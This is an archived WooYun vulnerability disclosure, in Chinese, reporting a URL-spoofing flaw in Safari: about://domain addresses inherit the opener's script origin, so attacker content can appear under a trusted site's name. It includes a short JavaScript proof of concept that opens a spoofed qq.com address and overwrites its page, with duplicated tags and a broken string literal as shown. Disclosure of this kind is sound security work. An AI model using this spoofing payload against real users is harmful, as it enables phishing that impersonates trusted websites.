Safari浏览器设计不当存在URL欺骗漏洞 | wooyun-2013-016821

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2013-016821

漏洞标题：

Safari浏览器设计不当存在URL欺骗漏洞

漏洞详情

披露状态：

2013-01-02：积极联系厂商并且等待厂商认领中，细节不对外公开
2013-02-16：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

由于某些URL协议实现的不严谨导致URL欺骗漏洞

详细说明：

在safari下about://xxxxxxx 会被视为一个有效资源页,而且和about:blank有同样功效,可以继承effective script origin,所以我们可以通过打开一个about://www.qq.com这样的地址来做URL欺骗.

漏洞证明：

POC:

<script>
<script>
function poc(){
	var w=open('about://view.news.qq.com/zt2012/modern_times/index.htm');
	w.document.body.innerHTML='I'm sogili hehehe';
}
</script>
<button onclick=poc();>clickme</button>
<button onclick=poc();>clickme</button>

修复方案：

严格限定about协议的源继承.

版权声明：转载请注明来源 Sogili@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞